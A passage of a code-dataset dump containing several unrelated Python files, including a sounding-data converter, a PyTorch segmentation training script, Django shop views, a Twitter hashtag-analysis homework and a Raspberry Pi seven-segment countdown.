]\n","sub_path":"base/migrations/0011_feedback.py","file_name":"0011_feedback.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"255499781","text":"#!/usr/bin/env python\n\n\"\"\"\n@author: Dustin Conrad\n\nLast edit: 5/17\n Changed comment to fit what file does\n\"\"\"\n\n#\n# System imports\n#\n\nimport sys\nfrom optparse import OptionParser\nimport numpy as np\n\n#===============================================================================================================\n#\n# Python script to convert Wyoming sounding text files to SHARPpy format\n#\n#===============================================================================================================\n\n# Extra help\n\nmyhelp = \"\"\"\\n\n\n A general run script to convert wyoming sounding text files to SHARPpy format.\n\n Usage examples:\n \n python convert2SHARPpy_wyoming.py --filename 2016-03-13_1901.csv --stationID BMX\n \n \"\"\"\n\n#==============================================================================================================\n#\n# Command line arguments\n#\n#==============================================================================================================\n\nusage = \"usage: %prog [options] arg\"\nparser = OptionParser(usage)\nparser.add_option( \"--filename\", dest=\"filename\", type=\"string\", help=\"sounding file name\")\nparser.add_option( \"--stationID\", dest=\"stationID\", type=\"string\", help=\"3 digit station ID\")\n\n(options, args) = parser.parse_args()\n\n# Check for proper file name and stationID\n\nif options.filename == None: \n\tprint(\"\\nERROR: File name not supplied...exiting\\n\")\n\tsys.exit()\nelse:\n\tfilename = options.filename\n\t\nif options.stationID == None:\n\tprint(\"\\nStation ID not supplied...\")\n\tprint(\"Using default MSU\\n\")\n\tstationID = \"MSU\"\nelse:\n\tstationID = options.stationID\n\t\n#==============================================================================================================\n#\n# Convert sounding\n#\n#==============================================================================================================\n\n# read in data from input file\nDAT = np.genfromtxt(filename,skip_header=1,delimiter=\",\",missing_values=\"-----\",filling_values=-9999.0)\npres=DAT[:,0] # pressure (mb)\ntc=DAT[:,2] # temperature (C)\nrh=DAT[:,4] # relative humidity (%)\nwspd=DAT[:,7] # wind speed (knots)\nwdir=DAT[:,6] # wind direction (deg)\nhght=DAT[:,1] # height (MSL)\ntdc=DAT[:,3] # dewpoint temp (C)\n\n# determine YY,MM,DD,TTTT\nyear=filename[2:4]\nmonth=filename[5:7]\nday=filename[8:10]\ntime=filename[11:15]\n\n# check for length of file\nfilelen=len(pres)-1\nif pres[filelen] >= 400.0:\n\tprint(\"\\nSounding did not reach 400 mb and thus may not plot properly in SHARPpy.\")\n\tprint(\"Creating SHARPpy sounding file anyways...\\n\")\n\n# convert RH to tdc\n#tk=273.15+tc\n#esl=611.2*np.exp(17.67*(tk-273.15)/(tk-29.65))\n#qvs=0.6219718*esl/(pres*100-esl)\n#qv=(rh/100)*qvs\n#el=np.log((qv/0.622)*pres/(1+(qv/0.622)))\n#tdc=(243.5*el-440.8)/(19.48-el)\n\n# open output file\nfout = open(year + month + day + time + \"_SHARPpy\", \"wt\")\n\n# write out SHARPpy file\nfout.write(\"%TITLE%\\n\")\nfout.write(stationID + \" \" + year + month + day + \"/\" + time + \"\\n\\n\");\nfout.write(\"LEVEL HGHT TEMP DWPT WDIR WSPD\\n\")\nfout.write(\"----------------------------------\\n\")\nfout.write(\"%RAW%\\n\")\nn=0\nwhile n <= filelen:\n if wdir[n] >= 360.0: wdir[n] = wdir[n]-360.0\n if pres[n] <= 100.0: # only output up to 100 mb (i.e. top of SHARPpy plots)\n print(\"pres\")\n break\n if hght[n] <= hght[n-1] and n!=0: # check that balloon is rising\n n=n+1\n continue\n fout.write(\"%s, %s, %s, %s, %s, %s\\n\" %(pres[n], hght[n], tc[n], tdc[n], wdir[n], wspd[n]))\n n=n+1\nfout.write(\"%END%\\n\")\n","sub_path":"convert2SHARPpy_wyoming.py","file_name":"convert2SHARPpy_wyoming.py","file_ext":"py","file_size_in_byte":3682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"624552856","text":"import os\nimport sys\nimport torch\nimport numpy as np\nimport pandas as pd \nimport segmentation_models_pytorch as smp \nimport torch.nn as nn\nimport torch.optim as optim \n\nfrom apex import amp \nfrom collections import OrderedDict \nfrom sklearn import model_selection\nfrom tqdm import tqdm \nfrom torch.optim import lr_scheduler\n\nfrom dataset import SIIMDataset\n\nTRAINING_CSV = \"../../input/stage_1_train_images.csv\"\n\nTRAINING_BATCH_SIZE = 16\n\nTEST_BATCH_SIZE = 4\n\nEPOCHS = 10\n\nENCODER = 'resnet18'\n\nENCODER_WEIGHTS = 'imagenet'\n\nDEVICE = 'cuda'\nIMAGE_SIZE = (512,512)\n\ndef train(dataset, data_loader, model, criterion, optimizer):\n\n model.train()\n \n num_batches= int(len(dataset)/data_loader.batch_size)\n\n tk0 = tqdm(data_loader, total = num_batches)\n\n for d in tk0:\n \n inputs = d['image']\n targets = d['mask']\n\n inputs = inputs.to(DEVICE, dtype = torch.float)\n targets = targets.to(DEVICE, dtype = torch.float)\n\n optimizer.zero_grad()\n\n outputs =model(inputs)\n\n loss = criterion(outputs, targets)\n\n with amp.scale_loss(loss, optimizer) as scaled_loss:\n scaled_loss.backward()\n\n optimizer.step()\n\n tk0.close()\n \n\ndef evaluate(dataset, data_loader, model):\n\n model.eval()\n final_loss = 0 \n num_batches = int(len(dataset)/data_loader.batch_size)\n tk0 = tqdm(data_loader, total = num_batches)\n\n with torch.no_grad():\n\n for d in tk0:\n inputs = d['image']\n targets = d['mask']\n inputs= inputs.to(DEVICE, dtype = torch.float)\n targets = targets.to(DEVICE, dtype = torch.float)\n output = model(inputs)\n loss = criterion(output, targets)\n final_loss += loss\n\n\n tk0.close()\n \n return final_loss/num_batches \n\ndef dice_loss(input, target):\n input = torch.sigmoid(input)\n smooth = 1.0\n iflat = input.view(-1)\n tflat = target.view(-1)\n intersection = (iflat * tflat).sum()\n return ((2.0 * intersection + smooth) / (iflat.sum() + tflat.sum() + smooth))\n\n\nclass FocalLoss(nn.Module):\n def __init__(self, gamma):\n super().__init__()\n self.gamma = gamma\n\n def forward(self, input, target):\n if not (target.size() == input.size()):\n raise ValueError(\"Target size ({}) must be the same as input size ({})\"\n .format(target.size(), input.size()))\n max_val = (-input).clamp(min=0)\n loss = input - input * target + max_val + \\\n ((-max_val).exp() + (-input - max_val).exp()).log()\n invprobs = F.logsigmoid(-input * (target * 2.0 - 1.0))\n loss = (invprobs * self.gamma).exp() * loss\n return loss.mean()\n\n\nclass MixedLoss(nn.Module):\n def __init__(self, alpha, gamma):\n super().__init__()\n self.alpha = alpha\n self.focal = FocalLoss(gamma)\n\n def forward(self, input, target):\n loss = self.alpha*self.focal(input, target) - torch.log(dice_loss(input, target))\n return loss.mean()\n\nif __name__ == \"__main__\":\n\n df = pd.read_csv(TRAINING_CSV)\n df_train, df_valid = model_selection.train_test_split(\n df, random_state= 42, test_size = 0.1\n )\n\n training_images = df_train.image_id.values\n validation_images = df_valid.image_id.values\n\n model = smp.Unet(\n encoder_name = ENCODER,\n encoder_weights =ENCODER_WEIGHTS,\n classes = 1,\n activation = None,\n )\n\n prep_fn = smp.encoders.get_preprocessing_fn(\n ENCODER,\n ENCODER_WEIGHTS\n )\n\n model.to(DEVICE)\n\n train_dataset = SIIMDataset(\n\n training_images,\n transform = True,\n preprocessing_fn=prep_fn,\n )\n\n train_loader =torch.utils.data.DataLoader(\n train_dataset, \n batch_size = TRAINING_BATCH_SIZE,\n shuffle = True,\n num_workers = 12\n )\n\n valid_dataset = SIIMDataset(\n validation_images,\n transform = False,\n preprocessing_fn = prep_fn\n )\n\n\n valid_loader = torch.utils.data.DataLoader(\n valid_dataset,\n batch_size = TEST_BATCH_SIZE,\n shuffle = True,\n num_workers =4\n )\n criterion = MixedLoss(10.0, 2.0)\n optimizer = torch.optim.Adam(model.parameters(), lr = 1e-3)\n \n scheduler = lr_scheduler.ReduceLROnPlateau(\n optimizer, mode = 'min', patience = 3, verbose = True\n )\n \n model, optimizer = amp.initialize(\n model, optimizer, opt_leve = '01', verbosity = 0\n )\n\n if torch.cuda.device_count() >1:\n print(f'lets use {torch.cuda.device_count()} GPUS')\n model = nn.DataParall(model)\n\n print(f'training batch size :{TRAINING_BATCH_SIZE}')\n print(f'test_batch size : {TEST_BATCH_SIZE }')\n print(f'epochs: {EPOCHS}')\n print(f'image size : {IMAGE_SIZE}')\n print(f'number of training images: {len(train_dataset)}')\n print(f'number of validation images: {len(valid_dataset)}')\n print(f'Encoder: {ENCODER}')\n\n for epoch in range(EPOCHS):\n print(f'training epoch : {epoch}')\n train(\n train_dataset,\n train_loader,\n model,\n criterion,\n optimizer\n )\n print(f'validation epoch : {epoch}')\n\n val_log = evaluate(\n valid_dataset,\n valid_loader,\n model)\n\n scheduler.step(val_log['loss'])\n print('\\n')","sub_path":"Pneumothorax/src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"355467348","text":"# -*- coding: utf-8 -*-\nfrom django.db.models import Q\nfrom django.http import Http404, HttpResponse\nfrom django.template import RequestContext\nfrom main.models import Item, ItemCategory\nfrom main.breadcrumbs import get_breadcrumbs\nfrom django.shortcuts import render_to_response\nfrom django.core.paginator import Paginator, PageNotAnInteger, EmptyPage\n\n\ndef main_page(request, category_url=None):\n all_categories = ItemCategory.objects.all()\n cntx = RequestContext(request)\n if category_url:\n cat_list = category_url.strip('/').split('/')\n\n # проверяем целостность url (что каждая категория существует)\n for cat in cat_list:\n if not all_categories.filter(slug__iexact=cat):\n raise Http404(u'Категории \"{0}\" не существует'.format(cat))\n\n current_cat = str(category_url).strip('/').split('/')[-1]\n items_list = Item.objects.filter(parent__slug__iexact=current_cat)\n paginator = Paginator(items_list, 12)\n page_num = request.GET.get('page')\n\n try:\n page = paginator.page(page_num)\n except PageNotAnInteger:\n page = paginator.page(1)\n except EmptyPage:\n page = paginator.page(paginator.num_pages)\n\n if current_cat:\n params = {}\n param_string = build_param_string(params)\n\n crumbs = get_breadcrumbs(request)\n cntx = RequestContext(request, {'page': page, 'param_string': param_string, 'breadcrumbs': crumbs})\n current_cat = all_categories.filter(slug__iexact=current_cat)\n if current_cat:\n cntx.dicts.append({'current_category': current_cat[0]})\n else:\n raise Http404(u'Категории не существует о_О')\n\n return render_to_response('base.html', cntx)\n else:\n cntx = RequestContext(request, all_categories)\n return render_to_response('base.html', cntx)\n\n\ndef show_item(request, item_url):\n item = Item.objects.filter(slug__iexact=item_url)\n if item:\n item = item[0]\n crumbs = get_breadcrumbs(request)\n cntx = RequestContext(request, {'item': item, 'breadcrumbs': crumbs})\n return render_to_response('item_page.html', cntx)\n else:\n cntx = RequestContext(request, {'item': u'Товар не найден'})\n return render_to_response('item_page.html', cntx)\n\n\ndef show_search(request):\n data = request.GET['data']\n if data:\n result_items = Item.objects.filter(Q(title__icontains=data) | Q(description__icontains=data))\n\n cntx = RequestContext(request, {'data': data, 'page': result_items})\n return render_to_response('search_result_page.html', cntx)\n\n\ndef show_search_post(request):\n data = request.POST['data']\n if data:\n result_items = Item.objects.filter(Q(title__icontains=data) | Q(description__icontains=data))\n\n cntx = RequestContext(request, {'data': data, 'page': result_items})\n return render_to_response('search_result_page.html', cntx)\n\n\ndef build_param_string(params):\n res = ['{key}={value}'.format(key=k, value=v) for k, v in params]\n res = '&'.join(res)\n if res:\n return '&{0}'.format(res)\n else:\n return ''\n\n\n# def show_category(request, parent):\n# items = ItemCategory.objects.filter(parent__title__iexact=parent)\n# if items.__len__() != 0:\n# t = loader.get_template('base.html')\n# c = Context({'categories': items})\n# return HttpResponse(t.render(c))\n# else:\n# return HttpResponse('')\n\n\n# def get_parent_tree(item_name):\n# res = ''\n# parents = []\n# parents +=\n# return res\n","sub_path":"main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"65456666","text":"import logging\nimport os\nfrom datetime import datetime\n\nfrom dynaconf import settings\n\n\nclass SettingsConnector:\n def __init__(self, dynaconf_file=None):\n try:\n self.dynaconf_file = dynaconf_file\n if self.dynaconf_file is not None:\n settings.load_file(path=dynaconf_file)\n if \"ENV_FOR_DYNACONF\" in os.environ:\n settings.setenv(os.environ[\"ENV_FOR_DYNACONF\"])\n else:\n settings.setenv(\"development\")\n except Exception as error:\n logging.error(\n f\"error in SecretsConnector __init__() \"\n f\"error = {error} at {datetime.now()}\"\n )\n raise\n\n def get_value(self, key_name):\n try:\n logging.info(\"key_name is \" + key_name)\n value_of_key = settings.get(key_name)\n if value_of_key is not None:\n return value_of_key\n else:\n return os.environ[key_name]\n # elif self.client is not None:\n # if '_' in key_name:\n # key_name = key_name.replace('_', '-')\n # value_of_key = self.client.get_parameter(Name=key_name, WithDecryption=True)['Parameter']\n # return value_of_key['Value']\n\n except Exception:\n return None\n\n def __getitem__(self, key_name):\n return self.get_value(key_name)\n\n def get(self, key_name):\n return self.get_value(key_name)\n\n def __getattr__(self, key_name):\n return self.get_value(key_name)\n","sub_path":"st_connectors/key_vault/keyvault_secrets.py","file_name":"keyvault_secrets.py","file_ext":"py","file_size_in_byte":1583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"321198887","text":"#########################################\n##### Name: Greg Nickel #####\n##### Uniqname: gnickel #####\n#########################################\n\nfrom requests_oauthlib import OAuth1\nimport json\nimport requests\n\nimport secrets as secrets # file that contains your OAuth credentials\n\nCACHE_FILENAME = \"twitter_cache.json\"\nCACHE_DICT = {}\n\nclient_key = secrets.TWITTER_API_KEY\nclient_secret = secrets.TWITTER_API_SECRET\naccess_token = secrets.TWITTER_ACCESS_TOKEN\naccess_token_secret = secrets.TWITTER_ACCESS_TOKEN_SECRET\n\noauth = OAuth1(client_key,\n client_secret=client_secret,\n resource_owner_key=access_token,\n resource_owner_secret=access_token_secret)\n\ndef test_oauth():\n ''' Helper function that returns an HTTP 200 OK response code and a \n representation of the requesting user if authentication was \n successful; returns a 401 status code and an error message if \n not. Only use this method to test if supplied user credentials are \n valid. Not used to achieve the goal of this assignment.'''\n\n url = \"https://api.twitter.com/1.1/account/verify_credentials.json\"\n auth = OAuth1(client_key, client_secret, access_token, access_token_secret)\n authentication_state = requests.get(url, auth=auth).json()\n return authentication_state\n\ndef open_cache():\n ''' Opens the cache file if it exists and loads the JSON into\n the CACHE_DICT dictionary.\n if the cache file doesn't exist, creates a new cache dictionary\n\n Parameters\n ----------\n None\n\n Returns\n -------\n The opened cache: dict\n '''\n try:\n cache_file = open(CACHE_FILENAME, 'r')\n cache_contents = cache_file.read()\n cache_dict = json.loads(cache_contents)\n cache_file.close()\n except:\n cache_dict = {}\n return cache_dict\n\ndef save_cache(cache_dict):\n ''' Saves the current state of the cache to disk\n\n Parameters\n ----------\n cache_dict: dict\n The dictionary to save\n\n Returns\n -------\n None\n '''\n dumped_json_cache = json.dumps(cache_dict)\n fw = open(CACHE_FILENAME,\"w\")\n fw.write(dumped_json_cache)\n fw.close() \n\ndef construct_unique_key(baseurl, params):\n ''' constructs a key that is guaranteed to uniquely and \n repeatably identify an API request by its baseurl and params\n\n AUTOGRADER NOTES: To correctly test this using the autograder, use an underscore (\"_\") \n to join your baseurl with the params and all the key-value pairs from params\n E.g., baseurl_key1_value1\n\n Parameters\n ----------\n baseurl: string\n The URL for the API endpoint\n params: dict\n A dictionary of param:value pairs\n\n Returns\n -------\n string\n the unique key as a string\n '''\n keystring = baseurl\n for key, val in params.items():\n keystring += f\"_{key}_{val}\"\n return keystring\n\ndef make_request(baseurl, params):\n '''Make a request to the Web API using the baseurl and params\n\n Parameters\n ----------\n baseurl: string\n The URL for the API endpoint\n params: dictionary\n A dictionary of param:value pairs\n\n Returns\n -------\n dict\n the data returned from making the request in the form of \n a dictionary\n '''\n response = requests.get(baseurl,params,auth=oauth)\n return response.json()\n\ndef make_request_with_cache(baseurl, hashtag, count):\n '''Check the cache for a saved result for this baseurl+params:values\n combo. If the result is found, return it. Otherwise send a new \n request, save it, then return it.\n\n AUTOGRADER NOTES: To test your use of caching in the autograder, please do the following:\n If the result is in your cache, print \"fetching cached data\"\n If you request a new result using make_request(), print \"making new request\"\n\n Do no include the print statements in your return statement. Just print them as appropriate.\n This, of course, does not ensure that you correctly retrieved that data from your cache, \n but it will help us to see if you are appropriately attempting to use the cache.\n\n Parameters\n ----------\n baseurl: string\n The URL for the API endpoint\n hashtag: string\n The hashtag to search for\n count: integer\n The number of results you request from Twitter\n\n Returns\n -------\n dict\n the results of the query as a dictionary loaded from cache\n JSON\n '''\n params = {\n \"q\" : hashtag,\n \"count\" : count\n }\n unique_key = construct_unique_key(baseurl,params)\n try:\n results = CACHE_DICT[unique_key]\n except KeyError:\n results = make_request(baseurl,params)\n CACHE_DICT[unique_key] = results\n save_cache(CACHE_DICT)\n return results\n\ndef key_count(dict_to_sort):\n \"\"\" Given a dictionary element, returns the value associated with count.\n used to assist in sorting\n Parameters\n ----------\n dict_to_sort: dict\n element to be sorted\n\n Returns\n -------\n dict_to_sort['count']: int\n element inside of dictionary to be sorted\n \"\"\"\n return dict_to_sort[\"count\"]\n\ndef find_most_common_cooccurring_hashtags(tweet_data, hashtag_to_ignore):\n ''' Finds the hashtag that most commonly co-occurs with the hashtag\n queried in make_request_with_cache().\n\n Parameters\n ----------\n tweet_data: dict\n Twitter data as a dictionary for a specific query\n hashtag_to_ignore: string\n the same hashtag that is queried in make_request_with_cache() \n\n Returns\n -------\n most_popular_tags: list\n the top 3 hashtag that most commonly co-occurs with the hashtag \n queried in make_request_with_cache()\n\n '''\n #remove # symbol from querry and make search_term lower_case\n if hashtag_to_ignore[0] == \"#\":\n ignore = hashtag_to_ignore.lower()[1:]\n else:\n ignore = hashtag_to_ignore.lower()\n\n list_of_tags = []\n # For each tweet, look at the list of hastags and add each hashtag, except the one to ignore to a list\n list_of_tweets = tweet_data[\"statuses\"]\n for tweet in list_of_tweets:\n for tag in tweet[\"entities\"][\"hashtags\"]:\n if tag[\"text\"].lower() != ignore:\n list_of_tags.append(tag[\"text\"].lower()) #Make all hashtags lower\n\n counts_of_hastags = {}\n #Loop of the list of tags, if the tag is new, add it to the dictionary\n #If the tag already is listed, increment it's count by 1.\n for tag in list_of_tags:\n if tag in counts_of_hastags.keys():\n counts_of_hastags[tag] += 1\n else:\n counts_of_hastags[tag] = 1\n\n list_of_tags_and_counts = []\n #Use the dictionary of tags and counts to create an easy to sort list\n for key, val in counts_of_hastags.items():\n pair = {\"tag\" : key, \"count\" : val}\n list_of_tags_and_counts.append(pair)\n list_of_tags_and_counts.sort(reverse=True,key=key_count)\n\n #Pull three most popular tags from sorted list. If there are less than three tags, return what is found\n most_popular_tags = []\n if len(list_of_tags_and_counts) < 3:\n words_to_return = len(list_of_tags_and_counts)\n else:\n words_to_return = 3\n\n for x in range(words_to_return):\n most_popular_tags.append(list_of_tags_and_counts[x][\"tag\"])\n return most_popular_tags\n\ndef find_most_common_appearing_words(tweet_data):\n \"\"\"\n Finds the words that most commonly occurs for tweets with a hashtag\n queried in make_request_with_cache(). Ignores common English words/'stop words'\n The word 'i' was added to the list of stop words that was provided\n Ignores hashtags. For example in the tweet 'Michigan is awesome #Michigan', michigan would count once.\n\n Parameters\n ----------\n tweet_data: dict\n results of make_request_with_cashe()\n\n Returns\n -------\n top_ten_list_with_counts = list (of tuples)\n each word with it's associated word count\n '''\n \"\"\"\n ignore_list = (\"rt\", \"i\", \"a\", \"about\", \"above\", \"above\", \"across\", \"after\", \"afterwards\", \n \"again\", \"against\", \"all\", \"almost\", \"alone\", \"along\", \"already\", \"also\",\"although\",\n \"always\",\"am\",\"among\", \"amongst\", \"amoungst\", \"amount\", \"an\", \"and\", \"another\", \n \"any\",\"anyhow\",\"anyone\",\"anything\",\"anyway\", \"anywhere\", \"are\", \"around\", \"as\",\n \"at\", \"back\",\"be\",\"became\", \"because\",\"become\",\"becomes\", \"becoming\", \"been\",\n \"before\", \"beforehand\", \"behind\", \"being\", \"below\", \"beside\", \"besides\", \"between\",\n \"beyond\", \"bill\", \"both\", \"bottom\",\"but\", \"by\", \"call\", \"can\", \"cannot\", \"cant\",\n \"co\", \"con\", \"could\", \"couldnt\", \"cry\", \"de\", \"describe\", \"detail\", \"do\", \"done\",\n \"down\", \"due\", \"during\", \"each\", \"eg\", \"eight\", \"either\", \"eleven\",\"else\",\n \"elsewhere\", \"empty\", \"enough\", \"etc\", \"even\", \"ever\", \"every\", \"everyone\",\n \"everything\", \"everywhere\", \"except\", \"few\", \"fifteen\", \"fify\", \"fill\",\n \"find\", \"fire\", \"first\", \"five\", \"for\", \"former\", \"formerly\", \"forty\", \"found\",\n \"four\", \"from\", \"front\", \"full\", \"further\", \"get\", \"give\", \"go\", \"had\", \"has\",\n \"hasnt\", \"have\", \"he\", \"hence\", \"her\", \"here\", \"hereafter\", \"hereby\", \"herein\",\n \"hereupon\", \"hers\", \"herself\", \"him\", \"himself\", \"his\", \"how\", \"however\",\n \"hundred\", \"ie\", \"if\", \"in\", \"inc\", \"indeed\", \"interest\", \"into\", \"is\", \"it\",\n \"its\", \"itself\", \"keep\", \"last\", \"latter\", \"latterly\", \"least\", \"less\", \"ltd\",\n \"made\", \"many\", \"may\", \"me\", \"meanwhile\", \"might\", \"mill\", \"mine\", \"more\",\n \"moreover\", \"most\", \"mostly\", \"move\", \"much\", \"must\", \"my\", \"myself\", \"name\", \"namely\",\n \"neither\", \"never\", \"nevertheless\", \"next\", \"nine\", \"no\", \"nobody\", \"none\", \"noone\",\n \"nor\", \"not\", \"nothing\", \"now\", \"nowhere\", \"of\", \"off\", \"often\", \"on\", \"once\",\n \"one\", \"only\", \"onto\", \"or\", \"other\", \"others\", \"otherwise\", \"our\", \"ours\",\n \"ourselves\", \"out\", \"over\", \"own\",\"part\", \"per\", \"perhaps\", \"please\", \"put\",\n \"rather\", \"re\", \"same\", \"see\", \"seem\", \"seemed\", \"seeming\", \"seems\", \"serious\",\n \"several\", \"she\", \"should\", \"show\", \"side\", \"since\", \"sincere\", \"six\", \"sixty\",\n \"so\", \"some\", \"somehow\", \"someone\", \"something\", \"sometime\", \"sometimes\",\n \"somewhere\", \"still\", \"such\", \"system\", \"take\", \"ten\", \"than\", \"that\", \"the\",\n \"their\", \"them\", \"themselves\", \"then\", \"thence\", \"there\", \"thereafter\", \"thereby\",\n \"therefore\", \"therein\", \"thereupon\", \"these\", \"they\", \"thick\", \"thin\", \"third\",\n \"this\", \"those\", \"though\", \"three\", \"through\", \"throughout\", \"thru\", \"thus\", \"to\",\n \"together\", \"too\", \"top\", \"toward\", \"towards\", \"twelve\", \"twenty\", \"two\", \"un\",\n \"under\", \"until\", \"up\", \"upon\", \"us\", \"very\", \"via\", \"was\", \"we\", \"well\", \"were\",\n \"what\", \"whatever\", \"when\", \"whence\", \"whenever\", \"where\", \"whereafter\",\n \"whereas\", \"whereby\", \"wherein\", \"whereupon\", \"wherever\", \"whether\",\n \"which\", \"while\", \"whither\", \"who\", \"whoever\", \"whole\", \"whom\", \"whose\",\n \"why\", \"will\", \"with\", \"within\", \"without\", \"would\", \"yet\", \"you\", \"your\",\n \"yours\", \"yourself\", \"yourselves\", \"the\")\n\n list_of_all_words = []\n # For each tweet, look at the list of words. Eliminate extraneous words\n list_of_tweets = tweet_data[\"statuses\"]\n for tweet in list_of_tweets:\n list_of_tweet_words = tweet[\"text\"].lower().split()\n for word in list_of_tweet_words:\n if word in ignore_list:\n break\n if word[0] in (\"&\",\"#\",\"@\"): #ignore special characters, hashtags and @'s\n break\n if word[:4] == \"http\": #ignore web urls\n break\n if word[-1] in (\",\",\".\",\"?\",\"!\"): #remove punctuation\n list_of_all_words.append(word[:-1])\n break\n if word[0] == word[-1] and word[0] in (\"'\",'\"'): #remove quotation marks around words\n list_of_all_words.append(word[1:-1])\n break\n list_of_all_words.append(word) #If it passes everything else, add the word\n\n counts_of_words = {}\n #Loop of the list of all words, if the word is new, add it to the dictionary\n #If the word already is listed, increment it's count by 1.\n for word in list_of_all_words:\n if word in counts_of_words.keys():\n counts_of_words[word] += 1\n else:\n counts_of_words[word] = 1\n\n list_of_words_and_counts = []\n #Use the dictionary of words and counts to create an easy to sort list\n for key, val in counts_of_words.items():\n pair = {\"word\" : key, \"count\" : val}\n list_of_words_and_counts.append(pair)\n list_of_words_and_counts.sort(reverse=True,key=key_count)\n\n #Pull ten most popular words from sorted list. If there are less than ten words,\n # return what is found.\n most_popular_words = []\n if len(list_of_words_and_counts) < 10:\n words_to_return = len(list_of_words_and_counts)\n else:\n words_to_return = 10\n\n for x in range(words_to_return):\n most_popular_words.append((list_of_words_and_counts[x][\"word\"],list_of_words_and_counts[x][\"count\"]))\n\n return most_popular_words\n\n\n\nif __name__ == \"__main__\":\n if not client_key or not client_secret:\n print(\"You need to fill in CLIENT_KEY and CLIENT_SECRET in secret_data.py.\")\n exit()\n if not access_token or not access_token_secret:\n print(\"You need to fill in ACCESS_TOKEN and ACCESS_TOKEN_SECRET in secret_data.py.\")\n exit()\n\n CACHE_DICT = open_cache()\n baseurl = \"https://api.twitter.com/1.1/search/tweets.json\"\n\n search_term = input(\"Enter a search term or type 'Exit' to quit: \")\n while True:\n if search_term.strip().lower() == \"exit\":\n print(\"Thanks you and have a nice day\")\n break\n response = make_request_with_cache(baseurl,search_term,100)\n list_of_tags = find_most_common_cooccurring_hashtags(response,search_term)\n list_of_words = find_most_common_appearing_words(response)\n if len(list_of_tags) == 0:\n print(\"No cooccuring hashtags were found.\")\n else:\n number_to_word = [\"zero\",\"one\",\"two\",\"three\"]\n print(f\"The {number_to_word[len(list_of_tags)]} hastags that most commonly occur with #{search_term} are:\")\n for x in list_of_tags:\n print(f\"#{x}\")\n\n print(f\"The most common words that appear in tweets using the #{search_term} hashtag are:\")\n for x in list_of_words:\n print(f\"{x[0]} ({x[1]} times),\", end=\" \")\n print()\n search_term = input(\"Enter a search term or type 'Exit' to quit: \")","sub_path":"hw6_twitter_ec.py","file_name":"hw6_twitter_ec.py","file_ext":"py","file_size_in_byte":14661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"236734982","text":"# -- coding: utf-8 -- \nimport RPi.GPIO as GPIO \nimport time \n\n# BOARD编号方式,基于插座引脚编号 \nGPIO.setmode(GPIO.BOARD)\n\n# 定义每个笔画\nLETF_BELOW = 3\nLEFT_ABOVE = 11\nBELOW = 5\nABOVE = 8\nCENTER = 7\nRIGHT_ABOVE = 10\nRIGHT_BELOW = 16\nDOT = 12\n\n# 所有笔画的元组\nALL_DRAW_SET = (LETF_BELOW, LEFT_ABOVE, BELOW, ABOVE, CENTER, RIGHT_ABOVE, RIGHT_BELOW, DOT)\n# 数组元组, 根据下标获取数字的笔画\nNUMBER_SET = (\n\t(LEFT_ABOVE, LETF_BELOW, BELOW, RIGHT_BELOW, RIGHT_ABOVE, ABOVE), \n\t(RIGHT_ABOVE, RIGHT_BELOW), \n\t(ABOVE, RIGHT_ABOVE, CENTER, LETF_BELOW, BELOW), \n\t(ABOVE, RIGHT_ABOVE, CENTER, RIGHT_BELOW, BELOW), \n\t(LEFT_ABOVE, CENTER, RIGHT_ABOVE, RIGHT_BELOW), \n\t(ABOVE, LEFT_ABOVE, CENTER, RIGHT_BELOW, BELOW), \n\t(ABOVE, LEFT_ABOVE, CENTER, RIGHT_BELOW, BELOW, LETF_BELOW), \n\t(ABOVE, RIGHT_ABOVE, RIGHT_BELOW), \n\t(LETF_BELOW, LEFT_ABOVE, BELOW, ABOVE, CENTER, RIGHT_ABOVE, RIGHT_BELOW), \n\t(LEFT_ABOVE, BELOW, ABOVE, CENTER, RIGHT_ABOVE, RIGHT_BELOW), \n)\n\n# 输出模式 \nGPIO.setup(LETF_BELOW, GPIO.OUT)\nGPIO.setup(BELOW, GPIO.OUT)\nGPIO.setup(CENTER, GPIO.OUT)\nGPIO.setup(LEFT_ABOVE, GPIO.OUT)\n\nGPIO.setup(ABOVE, GPIO.OUT)\nGPIO.setup(RIGHT_ABOVE, GPIO.OUT)\nGPIO.setup(DOT, GPIO.OUT)\nGPIO.setup(RIGHT_BELOW, GPIO.OUT)\n\ndef allLights(on = 0):\n\tfor d in ALL_DRAW_SET:\n\t\tGPIO.output(d, GPIO.HIGH if on else GPIO.LOW) \n\ndef drawNumber(index = 0):\n\tallLights()\n\tfor d in NUMBER_SET[index]:\n\t\tGPIO.output(d, GPIO.HIGH) \n\t\ncount = 7\nwhile True: \n\t# 绘制个位数字\n\tdrawNumber(count % 10)\n\t# 大于10时显示点\n\tif count > 9:\n\t\tGPIO.output(DOT, GPIO.HIGH)\n\telse:\n\t\tGPIO.output(DOT, GPIO.LOW)\n\t# 计时减少\n\tcount -= 1\n\t# 如果计时为-1则退出循环并闪烁\n\tif count < 0:\n\t\tbreak\n\t# 延时1秒\n\ttime.sleep(1)\n\t\nwhile True:\n\tallLights(1)\n\ttime.sleep(0.05)\n\tallLights(0)\n\ttime.sleep(0.05)","sub_path":"树莓派数据/SM4205 W8V3.py","file_name":"SM4205 W8V3.py","file_ext":"py","file_size_in_byte":1826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"84094006","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\nimport json\nfrom app.vsdoc.models import VSFile\nfrom app.database import DataTable\n\n\nclass FileService:\n \"\"\"\n 文件服务\n \"\"\"\n @classmethod\n def info(cls, id: int) -> (bool, dict, str):\n \"\"\"\n :param id: 版本id\n :return:\n \"\"\"\n file = VSFile.query.filter_by(id=id).first_or_404()\n if file:\n return 20000, file.to_dict(), '文件基本信息查询成功'\n return 20000, None, '文件基本信息不存在'\n\n @classmethod\n def list(cls, request) -> (bool, dict, str):\n \"\"\"\n :param 